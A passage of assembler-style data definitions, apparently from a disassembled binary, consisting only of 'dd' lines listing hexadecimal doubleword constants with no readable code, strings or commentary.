3E63F3DDh dd 0C603E52Dh, 86C3934Eh, 51513Eh, 0D436120Bh, 74439F2h dd 1CBC9A61h, 0F94C500Dh, 42014E03h, 0BF387633h, 0D1809D3Ch dd 3406F154h, 3700F3D7h, 3D86D9EDh, 4FB26Ah, 77ACCCFBh dd 0F707BB1Eh, 1FCD0B1Eh, 2E877C03h, 0AF6C90AEh, 44D49096h dd 0EA541662h, 1407B0D8h, 10A02134h, 51F33E00h, 99C2022Eh dd 9736C6EBh, 944CF882h, 0BA5CAC48h, 25EC9CEAh, 922EEC09h dd 23C10D0h, 0A6640954h, 4026AB6h, 3460458Dh, 1B00616Dh dd 9D807451h, 1F7D7FDFh, 0C0E14BBDh, 0DD535894h, 0A8A8710Ch dd 0E304EDFDh, 0A632C6FEh, 0B7BA88Ch, 5663242Fh, 0FE103500h dd 2AF4190Ah, 0BD08B907h, 0DE7384D9h, 22DF8027h, 33BB0688h dd 0B04E6914h, 0AB483112h, 613EE001h, 598C816Ah, 97C1F9CFh dd 80C9673Fh, 6A204F94h, 0F0856ED7h, 0E74B008Ah, 0C456CA22h dd 50DF5367h, 0BA7BBC00h, 1EDBE28Dh, 804F7E2Ah, 57CAF8A8h dd 433FD5FCh, 7C8A808Eh, 0EC880491h, 0D39400A5h, 0EAB75474h dd 0D0F8FADCh, 1B81FF60h, 7593BEC4h, 0F5D70CC1h, 75102F76h dd 69FFEB00h, 0A9D30355h, 0C2F20C7Dh, 7F39F7EFh, 93944201h dd 0B84BC674h, 88EB0030h, 0A30FA08Dh, 891D6EE4h, 71D410E2h dd 91E1F0C5h, 5A8604F4h, 0D3E4C874h, 0AB75FCA0h, 944A11C0h dd 2A6155D4h, 0FA9C6674h, 0DF21011Ch, 57205B39h, 0FD79F859h dd 89CBF609h, 5F6C900Ch, 0FC7F28h, 6FA78BEh, 0CC07DC2Ah dd 0E7129B00h, 0AFC7F719h, 0B85400DFh, 0C5F189CDh, 2900B133h dd 924C56F4h, 71AF089Bh, 863F321h, 48145507h, 0C099548Ch dd 0FB18EF83h, 0E8E9011Dh, 0B7EE1382h, 744415h, 58ED5CF6h dd 2B7E6076h, 7282E200h, 53AA9703h, 5AE63B35h, 162C80D2h dd 472A4084h, 5D08E78Ch, 80B53CD2h, 844B20F8h, 0D700E8A9h dd 5A8CE92Ah, 7CBE5D2Fh, 0C3163096h, 0B46BB841h, 0F2AA5000h dd 0B3F87013h, 0B867507Bh, 95723A1Ah, 59B76373h, 36E9E407h dd 7882362h, 912F6CE0h, 53051FE0h, 0B36A02B4h, 5C17D274h dd 8424C984h, 5500BB55h dd 38B73D14h, 80922AE9h, 0A0AB0264h, 0BED234B0h, 848000E2h dd 8E87351Bh, 0E5BA8400h, 0C167F05h, 4A79C162h, 0C8DA0E78h dd 0C212138Dh, 38462CE4h, 71B16A3Ch, 60F60081h, 556B067Dh dd 0E200B117h, 452C51ADh, 612FD1Eh, 4361D6B9h, 0B2095964h dd 80BED444h, 94976B28h, 0C415308Ch, 3BC1A4A9h, 9883502h dd 0C07B1849h, 3C94E8F3h, 0C9DF2B3h, 0EC3814ADh, 19C44193h dd 0FC4E5E48h, 8760D03Eh, 7967A7A9h, 1C407B89h, 418C8210h dd 1B3F2A35h, 0CFAB60BDh, 0FA1A7402h, 83502925h, 0F9793CA0h dd 619FEC1Ch, 61EF8058h, 0B6B5D497h, 0AC939800h, 0D8BC424Dh dd 0F7C224E0h, 807E44C4h, 8DBD9200h, 0F1730F30h, 1C7BA2EBh dd 0C39793EEh, 14F633E0h, 0D6EDFEE0h, 29C7261Eh, 0EAD08406h dd 0F6F35049h, 80A71E4Bh, 8498B0B5h, 8E78EAC3h, 0DE147C77h dd 58FD424Fh, 26B05871h, 0A400D8ADh, 61452D6Eh, 422813DAh dd 0F514088Eh, 7C000A4h, 441654AEh, 110352C5h, 744D7B12h dd 0CC96902Ch, 4E610B38h, 1C103D6Fh, 700182F2h, 99E01D3Fh dd 0C0C418E9h, 0AE381AFAh, 784070B3h, 30B9F465h, 4D54F380h dd 0FC092DCAh, 42A7861h, 0D9193403h, 7E748C9Eh, 9BC49900h dd 0B59C6B4Dh, 1C1D0CC6h, 9220787Bh, 0D4BC6200h, 0B4C52BE4h dd 5C21F8D9h, 0A0166FAh, 35DDA239h, 0C6087008h, 54BA85EAh dd 24CF9700h, 0E68D94C4h, 34324FFh, 0C71138h, 75AC740Ch dd 1C17C897h, 8065E7B5h, 0C69D9C14h, 0F15881BBh, 67451B60h dd 235804A9h, 0A4E9DDC2h, 0A30F06B4h, 9E3A27E0h, 3D198458h dd 0EC91B6h, 906FA06Eh, 1A032B35h, 4238B262h, 801BE29Ch dd 53B53FE0h, 45BF0207h, 0D0E0B6CCh, 0BA0944E4h, 0A1055Fh dd 0F14A6615h, 959709CCh, 0F082A331h, 0B4C0A858h, 7700433Dh dd 65802F45h, 9BA4Bh, 2A19ADA3h, 64D1F194h, 90667722h dd 0C1BAF840h, 0DE957E08h, 2D90923Eh, 8B0C3800h, 0A0716219h dd 7E5118h, 4B8E8D23h, 0F0D0978Ch, 0A1EDA1C3h, 0B3408814h dd 0E598002Fh, 9F760A25h, 900749Bh, 4B94700Fh, 688D90CBh dd 119444DEh, 46550FDCh, 0DF42E074h, 544C2Ch, 0F222172Eh dd 7E57150Ch, 0C004265Ch, 8EEC40A7h, 0EEC60h, 0BBFB28C6h dd 504CB64Dh, 0B7EFB806h, 9D89422h, 3C326E6Dh, 0DFB54448h dd 98FC2500h, 23CA1571h, 6E360717h, 0F0449474h, 0CD510638h dd 0CF2C160Ch, 9BA1FFh, 48F5498Fh, 91558CF2h, 1734A048h dd 9840A832h, 0D69F02B5h, 0BC4601BAh, 7E916A2Fh, 298040ECh dd 0B89842F0h, 0F1C345Ch, 9E48F7C3h, 565A04Fh, 0F4C83DABh dd 8A4F001Ah, 54D250ACh, 3600FD6Eh, 13792224h, 28E30949h dd 0B99886BCh, 91780140h, 0C8DB9639h, 5406F25Ch, 0B2AFCB90h dd 0C0941298h, 0CA44223Ch, 43D433E0h, 0A51A2513h, 7024BC30h dd 0C071D9h, 0CC31E0EFh, 0CF4A6589h, 44B05B90h, 88FED02Ah dd 99642200h, 549B331h, 0BD030997h, 1C01AAC2h, 30200C0Dh dd 7F3ECC40h, 0DBE3114Ah, 92E05501h, 208B544Bh, 8C121B58h dd 9090CF24h, 411A5Dh, 0EE327A64h, 87E6CECDh, 7C2D8100h dd 7FA4F352h, 1CCF48E3h, 208CC580h, 6EE29160h, 7801BE30h dd 0D15324h, 34F24071h, 0C02F511Dh, 8560457Ah, 0AC389F39h dd 0C96901EBh, 6B626DAFh, 0CC7BD564h, 74B8104Eh, 99886C79h dd 9AD400B8h, 0B62B5463h, 0D22649ECh, 7B12049Eh, 80E86408h dd 86E9BBAh, 0E60338EDh, 0A1991BDEh, 5818B6E9h, 0AB035425h dd 8D6C1EFCh, 0C6193E8h, 98695C60h, 0F3C42935h, 471DDD0h dd 0E9BBDFBDh, 684802Eh, 7A00CD57h, 64AF4A58h, 17542FDAh dd 1F0B2DDh, 0E1AA7DBCh, 4030D88Dh, 64E0E614h, 0A5E900C8h dd 5A1893CFh, 0BFE49C6Ah, 796B6D1Bh, 90445BE2h, 0DDDCE04Ch dd 6BD85840h, 3A29888h, 2EEC7276h, 7A98280Eh, 68285ABDh dd 71222862h, 3EF80065h, 43EBE224h, 917FDE9Ch, 218383Eh dd 586D94E5h, 0D6888582h, 0B94B58D0h, 0D5110308h, 5D0CB3C1h dd 49934900h, 57F322DAh, 0F2CCB0B6h, 613FB846h, 3D1B40AAh dd 688181BBh, 0C84FEC8Bh, 0ECDBC2D5h, 0D4E2B881h, 8D63420h dd 0DDD083B7h, 9322C680h, 0F6AB3E96h, 0A847008Bh, 78CD406Eh dd 95007984h, 0A4D3F507h, 69F0C2EDh, 0D40439F6h, 462CC2E1h dd 6C4D245Ah, 60808A90h, 38C4E880h, 188C213Bh, 304B79DDh dd 0E8A7076h, 2D0191A0h, 33BB44E4h, 0A03CD849h, 70DA19C0h dd 0A2FE04h, 8E6B3FECh, 2BB50B12h, 46377F05h, 4C34081h dd 0BA69C10Eh, 0B0AAF3E8h, 20ED45F4h, 20185040h, 0E4C0A64Ah dd 3F9D7A8Ah, 7C026C76h, 637B7E1Fh, 61C2CC60h, 505F6828h dd 90BC7F22h, 0D1AE00C8h, 75D4355Eh, 0B7674210h, 44C4B650h dd 0DC26CC0h, 0D0952C85h, 0E4874080h, 0A1072292h, 371FBC15h dd 7B695E40h, 6AD802E6h, 31744BD4h, 628FF4E0h, 0E000890h dd 7A08E903h, 0B2B012B1h, 407D4C50h, 3073DC22h, 494EE00h dd 0B172492Fh, 259E0C33h, 3AC8FC06h, 0BC0020B8h, 5A9007B3h dd 630FEDF2h, 45F0D96Fh, 911D9787h, 8FFBB0E7h, 41AE84C8h dd 0DB30DE9Bh, 90363020h, 241A5DBCh, 0BB870401h, 305B6507h dd 0E234C230h, 0D83091FAh, 0FF5629h, 0C2D26560h, 0E4886A57h dd 22C526C0h, 6742B9C8h, 63F57089h, 3900633Ch, 968C0F6Dh dd 28758CFh, 0B6D83A43h, 0D3E0342Ch, 0F4CF6BDh, 18F14h dd 4AB0BEDDh, 4741028Fh, 0D71DECE3h, 211D9C79h, 253B900h dd 0C451871h, 0C7DFFF68h, 11FDE3B8h, 0F823487Eh, 0FC4D5200h dd 91636072h, 0D8511B74h, 7ED2008Ch, 264C9D3Bh, 36F8025Ch dd 59582892h, 0CFAF0088h, 0A8037161h, 0E9EDC09h, 2E680701h dd 0AB9D04D1h, 2B94420h, 53A7D9A3h, 5048E813h, 809E718h dd 90D05F80h, 0B03F3CD0h, 0FFA0955h, 100A72Fh, 9C7AAA4Eh dd 0F27F1F0Ch, 0A0AD7935h, 12EE7F8h, 4CC28C16h, 23765A31h dd 0E8AA015Ch, 0D0BD3280h, 0D00F439h, 0CB035DF3h, 0EF3CB1A6h dd 97690F8Dh, 1E92A07Eh, 2DB432B8h, 28203C3Bh, 0E4549149h dd 0EEB5E703h, 0E07D1099h, 5ABDA5Eh, 6E5D7EE9h, 1F38821Ah dd 97481840h, 13FFAC98h, 5F239871h, 502CF98Bh, 54579380h dd 0AB010C20h, 514EA9E4h, 8AE86AF4h, 0F2DC0514h, 5D5B0F60h dd 0C780BAD0h, 0D2BF28A8h, 0BD12DB5Fh, 1CC8164Bh, 5C6E001Dh dd 7BF43708h, 0C0054AFh, 55248A73h, 25F2BC04h, 0A803462Dh dd 59005E0Fh, 89B5E83Bh, 2C7DEEh, 0E06EC2E7h, 64ED12A6h dd 8462EDh, 1978BD9Fh, 54134542h, 731C0F1h, 6C2F21E0h dd 2C598009h, 35044F55h, 16F3DEB9h, 16ABA4B4h, 140B1F9h dd 8A675A08h, 2E9C62C3h, 33033D54h, 0C9F38E56h, 5C70F6D1h dd 293D1345h, 0C254CCAAh, 39F7F830h, 30BA8B55h, 7F11F2C3h dd 0CC0025A1h, 887E8DE7h, 0D00359h, 3A7D14ABh, 0BFA553B6h dd 0C68BF801h, 7187CCE1h, 16C5E430h, 9ADE308h, 14930CBAh dd 4BCFB5A0h, 0C7CD4601h, 0AE715A01h, 64C0A069h, 84A3AA2Ah dd 0A5B9703Bh, 8714A268h, 0C326C17Eh, 3B005C32h, 10D8BBE7h dd 910BE18Fh, 74A5B1h, 7C8AB6A8h, 0F6E328F3h, 4B3EF274h dd 0D05D1Bh, 0D9E4303h, 74008F38h, 0DCF129A1h, 443D2805h dd 0C20012B6h, 9385F046h, 0BCD1398Ah, 13380BA8h, 845B5004h dd 0F050D709h, 49F28414h, 432281Fh, 70167540h, 966C71h dd 0ED808550h, 8B1DF0D4h, 3D4C3AF6h, 0F2238058h, 0E05BD29h dd 20FFFB56h, 0B6DAD320h dd 0D80B08F9h, 8EADF33Ch, 0BAF0A098h, 18F1BFCFh, 0D1C016C6h dd 0F43CD0A2h, 0CD5C836Eh, 0F0EFA864h, 0B1D147C5h, 0B6350020h dd 0EB445FEAh, 6540F900h, 0FF52A1F4h, 25C209CBh, 4889A541h dd 0CC9DD584h, 0BC016420h, 612B35C2h, 0CA38A573h, 0EE8A9F00h dd 6D7E08DFh, 38E68CA0h, 27491E40h, 6C90356Eh, 61484A89h dd 553FF0B8h, 9CFEA2Bh, 41B26212h, 69AC7482h, 2D1F78F8h dd 29126144h, 813A01Dh, 80B4F80Ah, 0D7323401h, 48C89FDDh dd 71AF603Ch, 24E41B78h, 0B004D326h, 8BE51309h, 27600E49h dd 8A41170Fh, 7ADAAADAh, 36FA01D0h, 4BA7F4ECh, 8024281Fh dd 5771D5DCh, 9B4300E3h, 0AC0BE5DDh, 0EC00619Ah, 7445868Dh dd 7A2C7C6Dh, 0F040484Eh, 46CC5180h, 0F89C5952h, 0F82EB740h dd 1B97780h, 7FFC7E90h, 7164B207h, 0D039923Bh, 6667C020h dd 5A5000A2h, 7E38BCE9h, 95016514h, 0BFC92E27h, 0FC32E3F2h dd 0A1FDB200h, 0C5F85F48h, 639F6504h, 0F8E416BDh, 0FD47955h dd 4624E82h, 8079BB87h, 0AE4630C0h, 0E0727B04h, 20F21C02h dd 0A2DDC100h, 0A96DF8FFh, 0B3C47709h, 0CEA405A7h, 0D4E0C80Ah dd 0DF073D05h, 0A4C7F481h, 11284E0h, 51F1EBF4h, 603C2C33h dd 988AA020h, 7D7A6B58h, 53DE0EDAh, 0E2F806Dh, 42E7BD6Eh dd 200CC57Eh, 45A192A4h, 0D80BD500h, 0CB1CB92Eh, 5B542DF9h dd 7164B090h, 0B5316367h, 0CC075EC0h, 1681EC5Bh, 0BCA62A93h dd 456114EAh, 0DEF883F8h, 0E03CB2AFh, 4CDCC2E6h, 8896848Fh dd 5B002E38h, 0D830C656h, 0EE368E99h, 0BE900AFEh, 3E40705Ah dd 0BC387400h, 3D4626C3h, 0E319B960h, 7EC54F50h, 188800F9h dd 378E95F8h, 7CF12CB8h, 43DF80E8h, 176CE75Eh, 0AA0AD310h dd 94302500h, 627FD9D1h, 791A7047h, 13E838E1h, 0CE6EE055h dd 0DA611254h, 0A0A880CDh, 6F076D41h, 0F747EA2h, 48348058h dd 4986E432h, 5838973Dh, 0D83E24B0h, 8C86D13h, 21AC0008h dd 33A26779h, 2000588Dh, 0AFB6E450h, 3EB181E2h, 0A10BD59Dh dd 18A2EAD3h, 0D4646D64h, 6B2F5100h, 2275E0C4h, 474A0BD6h dd 0E42294A5h, 747ADBC2h, 7640A496h, 9F7C8Fh, 4ACB886Eh dd 0A70B4534h, 0C0A8955Ch, 39543342h, 0C9070A62h, 80202B7Dh dd 1EEDB25Ch, 0DC025481h, 1A092DF6h, 0E1F440CDh, 0F3714B4h dd 3D0190D4h, 1B2E32DEh, 0DA64F44Dh, 3400317Ch, 6550F44h dd 16AF016Eh, 0CF97C3h, 0F2589488h, 0F4B17E30h, 90007611h dd 14E7C9ACh, 9D00BCFBh, 2FC26039h, 0EE107Dh, 541EA269h dd 9BECC0BFh, 750002B8h, 0CD456A49h, 0B9C3B9D5h, 8E9E005Ch dd 2E3B186Fh, 44DC5E00h, 3AA9CC12h, 5B860F7Ch, 0C0E2F7F4h dd 0A0441346h, 0C5351C00h, 8CA1C66Ah, 737807DCh, 0E08D476Bh dd 48BE08BBh, 13FA1090h, 7A6A7D01h, 0E6527559h, 6243D851h dd 60E5F811h, 0FA18F9C9h, 0F661C215h, 461A0014h, 0B4A2DEA7h dd 7B046836h, 330296B3h, 0ED343881h, 0F6F9D4h, 3F776521h dd 0F1B33D4Ah, 1D2EF31Ch, 22EC48C4h, 607D3082h, 1C463ABCh dd 1FE04BDEh, 0E3CD0737h, 662E40F5h, 364CDF41h, 0CC28012Ch dd 0B5FB6AA2h, 0AE0FF4h, 5B7C3ED7h, 8E8D7022h, 71409E00h dd 9107BB2Dh, 14555811h, 4654E00Eh, 21752580h, 0EB004BB0h dd 3968B59Bh, 283D74A8h, 3CCCD550h, 0C5007254h, 108FF0A0h dd 14B93AF2h, 0BF2F9339h, 27939C30h, 0F268001Fh, 754A23A2h dd 0CB0092B5h, 76B98481h, 4B7BBEh, 0ED0BB298h, 34DE66C5h dd 0AF6F6127h, 0BC3CA408h, 4EE99B40h, 0FC264722h, 446000C0h dd 1F672F6Eh, 0E10FD88h, 494014F9h, 0D4D76A4Ch, 30A19C04h dd 0B880A8B3h, 3B749BE4h, 3C4CB81Ah, 26E4300h, 6805BBB1h dd 7BAFF02h, 0C2842373h, 97F00017h, 3ED7EB2h, 0DD1A774Ah dd 0D7E0323Fh, 40135ABBh, 782015F0h, 7B9E5F3h, 59220AB1h dd 0D3C680ECh, 788C9457h, 174EC4Ah, 66623F13h, 2C3971B0h dd 0C1638098h, 2CE7983h, 0E7934BFBh, 0BB4294B8h, 0C787AC12h dd 8266A0B6h, 2600FB22h, 8735C6E7h, 160F9192h, 80BD1B32h dd 0B188C76Ch, 0DA016BE8h, 0DE2D0A3Ah, 0B050480Fh, 5093C3h dd 6D88DB9Dh, 1A35F2CEh, 0C17C0900h, 255C4E30h, 9277C5h dd 9E578822h, 0AEB42E2Dh, 9DEF4500h, 3A3555FBh, 9BED2C58h dd 0AC690AA4h, 0A86B02B4h, 0AC784B97h, 0C46FD925h, 39E000E4h dd 54F8E29Ah, 9409EDB5h, 708B4FB6h, 0DF9B1CA0h, 0D316D23Dh dd 25F08710h, 96FCB85Ch, 3A6A9C00h, 35692ECAh, 61C30E8Fh dd 2A270AA8h, 201B75DDh, 0C7275C8h, 0A9BC6C0Fh, 95844078h dd 1E7493B6h, 0DD3FD32Bh, 414C9C66h, 0DDAC047Fh, 7E49F890h dd 95E90C05h, 8B4F7C2h, 0D0B8543Dh, 723B02DEh, 0D4686E62h dd 785EA4E2h, 5ABC7802h, 48AC645Ch, 5F0530ABh, 0C213E671h dd 78F16870h, 938D4481h, 34631D65h, 0DB10BC00h, 0A97E8F3Dh dd 908B5Ch, 42CD945Eh, 91C13F38h, 96268014h, 0A5925452h dd 288C6600h, 0A8C5A0C4h, 38DD2F1Ch, 7F2516F8h, 2A44446h dd 14858DF1h, 88C11C10h, 0EB25F2DEh, 1B00C0F2h, 0C68573B6h dd 901479Eh, 0E90FDB5h, 0F44033EBh, 40313974h, 9C073429h dd 4AA9ACB5h, 0BB17D5C0h, 3D05254Dh, 27CD2820h, 0D02C6C53h dd 49126495h, 10DCC001h, 2C616844h, 0E88C57DCh, 105864E4h dd 0DCF282h, 0EE1CED2Ah, 1CC3665Ch, 8035F899h, 3A32D925h dd 9C026C43h, 617305B2h, 47CE46Dh, 7BD41A8Ah, 76E8C7B0h dd 150B5814h, 8464D1DDh, 54CC55C0h, 2C6B00B0h, 99D3B960h dd 760E63C3h, 0A83ACh, 1C9C427Fh, 0F08864A5h, 0D088C06Dh dd 0B117E96Eh, 78305480h, 167A7A5h, 10A6BE60h, 618C93A9h dd 6BC44080h, 0C1058225h, 0E2C26D7Fh, 1375E4A4h, 8888277Ch dd 1C0062F0h, 0DB82444Ch, 77E0DFEBh, 515204FBh, 0A2EC0BD8h dd 2EB80004h, 0C972A6B0h, 0D2350782h, 0F997A499h, 0F9EAF464h dd 0B0E51A02h, 625B6667h, 0F3808188h, 6468BF51h, 80D81E9Ch dd 853DE12h, 9C76CB9Fh, 615B9609h, 44B04476h, 3E070F85h dd 0D15B5607h, 208D5220h, 0B8A5007Eh, 2FD53BACh, 0F7D0637h dd 7A0178B0h, 8BAF2EBCh, 946216FEh, 0CBAC0700h, 0C809D359h dd 28CB100h, 0C1BF0B9h, 42642DE8h, 7451E4A0h, 18902624h dd 0A5F13416h, 89EF3C08h, 4079E5C2h, 70305413h, 1E6E2Ch dd 329D34F3h, 3DA56FB6h, 24AFD0Fh, 0D9058979h, 58978918h dd 0BB74D402h, 34C42Bh, 31629551h, 979C1A2Ch, 17685D09h dd 111090D0h, 88540B35h, 30B6E58Fh, 0DE554B0Eh, 941B4492h dd 49D69CBCh, 0B452C398h, 7C253400h, 91106C14h, 0E9F907B6h dd 0A165A064h, 0F037F881h, 0F6488370h, 497B09C8h, 1E18E4CBh dd 0F9D00558h, 62D36180h, 53703EF8h, 0ACBF6617h, 0A58BC430h dd 0F0BE1F1Dh, 0C044006Dh, 0A3B86102h, 8B98A07Bh, 82FF952Dh dd 60BCD1C8h, 128B0B48h, 0D037F2DAh, 4432DCA0h, 4B8EE216h dd 1C3C488h, 8040375h, 0DFA0B094h, 0E8C648FAh, 5582F900h dd 5808DFAFh, 0F8C10B2Eh, 3C80EA43h, 6356B30h, 5B4E9498h dd 9382820h, 72680098h, 8CAB7ADBh, 1B257B4Ah, 268100Eh dd 0C079071Dh, 0F37E7Fh, 0F211872Eh, 15F4E152h, 18DCDDh dd 80F4CA19h, 4C814140h, 91C40C38h, 4936C0DDh, 0B12CBB47h dd 5C1C22FCh, 71E4DC3Eh, 928A7300h, 6EDD26Eh, 0E64314F6h dd 3E0098DDh, 0B930138h, 0A1F0E05h, 0FF3E8615h, 0F2082060h dd 0C5407497h, 19AACF2h dd 56C238ACh, 0CD8AFCEFh, 74E98E77h, 0B17CC658h, 0F2571F04h dd 74EC1C0Ch, 5E3E8280h, 0D85C24FBh, 0B07F1134h, 8D680900h dd 0DCCACAFh, 0BF547400h, 0B28C37A0h, 0A8AA1494h, 4C2CB002h dd 4CE81104h, 5C167AD8h, 0C4009C46h, 943C3565h, 0E0909741h dd 877FD866h, 5500BDE0h, 0A243C2Bh, 0DE972Eh, 948193C4h dd 7DF0676h, 9090792Fh, 77DA4344h, 0C07350C6h, 0A36E2C8Dh dd 1DFA603Ch, 0C1008B70h, 856A401Ch, 26DBA6D2h, 3DE08A0Eh dd 41F4C8CAh, 31099100h, 817434D5h, 0C5C902A2h, 491361B0h dd 0A4EEE0A0h, 0AE0054A8h, 4AA3034h, 0C5AC84h, 9F36796h dd 15EBBEFAh, 8800A899h, 0C22F2C18h, 0D1590679h, 1ED62849h dd 64725A27h, 27814F48h, 0B0EBF734h, 9A2C8B17h, 0EDDCA400h dd 0C41E5210h, 4B586Dh, 2348884Fh, 311FCD00h, 748B435Dh dd 0B830129h, 2DF2151Ch, 1429BCF4h, 8FDAE8h, 4605BB28h dd 9345404h, 0C7AA775Eh, 7CEE34E4h, 985F8602h, 7E4564B5h dd 75CB80ACh, 0D7F8EC28h, 1F88B705h, 8C201684h, 0A0C858h dd 596774EDh, 194B68AFh, 0D5BE5409h, 7F2B80D0h, 0C97A2EF3h dd 74DA0C31h, 16D6710Fh, 0C6FCA02Dh, 9FE9DAh, 0F133781Ch dd 9BE8C7A4h, 36A2E090h, 15008C66h, 44B2BDE0h, 0C099AAD5h dd 18B5A698h, 0CF4CE5F7h, 297E02D2h, 74FEDBC2h, 53E84410h dd 0E13BA000h, 1D2F4570h, 45122DDh, 88CF3FF2h, 2B071808h dd 2A67327h, 68B67090h, 0E56C2438h, 0C7D91DA0h, 604B92DCh dd 5FEE2B7Dh, 0D004D212h, 0EC537C23h, 0D3A37681h, 88BAA424h dd 1D016EABh, 8A188E42h, 0F160E326h, 70135054h, 79A20008h dd 0ABE4F6E8h, 6905E550h, 0E06EB195h, 0F8B23CD5h, 0B8A91900h dd 7035D380h, 14BD0E01h, 2864F292h, 7F4754F0h, 80C24B9Ch dd 1BC18C60h, 0AE005091h, 0D3EBB91Fh, 0AA140166h, 0F92A4738h dd 0C0053A4Dh, 24CC1D7Eh, 0BF990B9Dh, 2A07CAAAh, 86E35067h dd 0B3004924h, 112ED8BEh, 5C8E3A8Bh, 7E2CCC64h, 9F61148h dd 46E2A75h, 0D2333860h, 88039C2h, 9C54A6A9h, 0D9587BF8h dd 2115C3ECh, 0FC9E0386h, 7D18EF99h, 2550D1A7h, 0C82C303Ch dd 9071AC27h, 0A82F50h, 0A1EF65D9h, 0F2E038C4h, 48AD2E44h dd 6DC0FC18h, 0CD2D9B61h, 0EF2A7B00h, 1499C8BAh, 6C060185h dd 0C2C5FADDh, 0DC9C3092h, 6497C313h, 0B2021CA2h, 0E9C2D4E1h dd 0A8007489h, 7BB4BB9h, 9CAB5024h, 0D8589D00h, 0B640DA64h dd 9F5740C4h, 0A00097EDh, 81FEB91Ah, 4EBB3Dh, 2A7343A7h dd 0A638295Ah, 511238A4h, 90F2247Eh, 4CE07A00h, 22B580B2h dd 25454407h, 36C24F3Fh, 0CCC668h, 0B9A77C75h, 0BA918D41h dd 0F8004A7Ch, 532464EAh, 58D9BD25h, 0EF161027h, 0DA380BA7h dd 58001471h, 0F1749F12h, 0C1871FA6h, 0F18ED9C2h, 93AC2C45h dd 0F4708CCh, 84EFBC26h, 0BA54AF00h, 911F5C53h, 382CA8F4h dd 0F4CB060h, 0DF782EDDh, 0C31C26BCh, 9C98FE0Ah, 85132D74h dd 54200FAEh, 4C3D7Dh, 8B98F69h, 0A595D092h, 8C23E5h, 0B53199A7h dd 7F3AFB8h, 0F6401027h, 7CBBA0E9h, 0B914B3AEh, 4D8828Eh dd 8F37F709h, 0E6C20CC0h, 2E422650h, 3E511D28h, 3C0362A7h dd 9CF001AEh, 605C1A1h, 6322778Bh, 61104282h, 0DC10E8CCh dd 0C2263D05h, 0E563EC49h, 0CBC1B888h, 6C32010Bh, 0A5C55117h dd 0F776803Ah, 0FC4AC32Ah, 0BAA80258h, 655175AAh, 3F26A8C1h dd 4713684Fh, 7DA06B74h, 0BA41575h, 1F667367h, 0BDBBE080h dd 350163C4h, 0D34CA1AEh, 0AC7064A2h, 48018BF6h, 0FDF991Dh dd 7A82E0A7h, 0AE2890DEh, 8A062C60h, 9BFB4A00h, 0D7B7CD4Ch dd 134B2541h, 372B7448h, 0BD20C53Dh, 0DB598346h, 2212269h dd 0AA38DA58h, 70443D4Bh, 0B07E4500h, 0E1712926h, 0FC4C00E9h dd 7B8B760h, 7601D323h, 64927542h, 2B176B6Ah, 3332A060h dd 5D941A02h, 444264BDh, 0C4DD0180h, 52C2D708h, 0F8602BF3h dd 885B0C45h, 9903EB44h, 6912325h, 0D5EEE048h, 20DF4A5Dh dd 7A07F128h, 0BF187600h, 3DA661Dh, 98B09A5Ch, 1AC50008h dd 6DDC3AF8h, 612858A7h, 0CF4B5468h, 76A55C40h, 50905202h dd 1519D7Dh, 0DB472546h, 238A2DC5h, 8F4D00F8h, 0BA7E2E1h dd 34FD3EFBh, 1852DE07h, 0B52210C0h, 0A7FA1CB2h, 753BDD07h dd 2A543E5Fh, 0E8328083h, 88761156h, 7771E93Ah, 5DCF0A00h dd 0BF30EEF8h, 88250084h, 0EC469EBBh, 562DDA3Ah, 4FC0493Ch dd 1E85FCFCh, 40947924h, 0E151881Dh, 1A0274CCh, 5E3D969Dh dd 0F8D0E155h, 829CB8CBh, 718E01DCh, 0CC125D7h, 0FC819369h dd 339C5900h, 7FC6407Bh, 4DAA00F3h, 6E9B85B8h, 8042226h dd 8E66E31Dh, 23DB18C2h, 9178E4F2h, 0CA4E6F9h, 0F4942230h dd 1DF882B4h, 9C5973EBh, 0A7E62E07h, 6D5A0EB0h, 41970A58h dd 80748984h, 850218FEh, 0B300B666h, 0E1F0F804h, 2BC3BA3h dd 924DCC45h, 7856765Ah, 5DEB650h, 3B66C855h, 33448369h dd 0B86647C2h, 9F353A00h, 9C304A21h, 6918001Dh, 0B5A576FCh dd 4501947Dh, 0E8D1F5CDh, 202BA90Dh, 0E4364248h, 28C24300h dd 0ACAA341Ah, 33CC031Fh, 4CD3DD86h, 0F18BF8F1h, 3DFE8BBh dd 4DF008C0h, 2C625C2Fh, 340899Fh, 172E45ABh, 0B07E55D2h dd 0E7B705BCh, 98028EE6h, 0E168633Eh, 8C149F38h, 1501D3E4h dd 9E2D5C18h, 0DC207CFFh, 0E22E17C7h, 0B258C2C0h, 4F8C6073h dd 78D458DBh, 0F7BF532h, 4E8BA1B0h, 7BB8E498h, 5D93230Fh dd 2C9583B4h, 0F87D8A7h, 3FD109B6h, 64014A96h, 7B9E613Ah dd 1D6B6400h, 0DD643D98h, 1AAC40A9h, 7D72FA88h, 34DE1116h dd 82C8CA03h, 6EA898F1h, 40F89638h, 8D36C2E2h, 0D45EF426h dd 61EFAB1Dh, 0A4380724h, 70A21280h, 23B02BB2h, 92A66300h dd 523CC7C5h, 105018Fh, 0F2AE78CAh, 0E03236h, 1F7FB4B5h dd 96DADD30h, 0D38E4F28h, 874E0096h, 63AB042h, 8073E138h dd 3B2A2F33h, 0F63454A8h, 0A3C112C5h, 88F289h, 5A414BB4h dd 77B76FAh, 0F97C396Eh, 9B46D05Fh, 4513E5F8h, 0CCF4C3BFh dd 253C0005h, 0F1FA5B01h, 0AA1E2CEDh, 35844BBCh, 0F4E6DBC2h dd 78647058h, 71A888CFh, 44147AE8h, 0E0042Ch, 0AE970CD5h dd 14E87B74h, 0C89AF768h, 0F445640Fh, 0AEC0AC14h, 0FF3603ECh dd 0C0A80758h, 0E3E732B2h, 0E644004Ah, 153E5DEDh, 290031EBh dd 41D1BA70h, 1F55F21Eh, 82323D2Bh, 3C588EC5h, 0E39E647Ch dd 48213FC0h, 0A034902Dh, 984EE0D4h, 8884FC10h, 0A688B53Dh dd 0CB0E0049h, 2C85121Ch, 0D5275AE2h, 4B1C104Fh, 0B11000AFh dd 6D7E1918h, 74E858BEh, 2097860Eh, 420976D1h, 35740076h dd 2D8A8D93h, 909002F6h, 889046EBh, 443C5501h, 1342E0B0h dd 301C4F6Ah, 0C09FCD6Fh, 8C6176E5h, 37003EF2h, 0A7C30194h dd 8886D17Bh, 49008BB8h, 0A40CAE36h, 1E31F6A6h, 0C75CBB9Ah dd 0D0509F6Bh, 65C7F88Ch, 0A6A89513h, 47CE9400h, 2F30531h dd 5ABFB10Ah, 0F501B371h, 5E2A4364h, 1A36CE4h, 0E08B41DFh dd 2C73C0h, 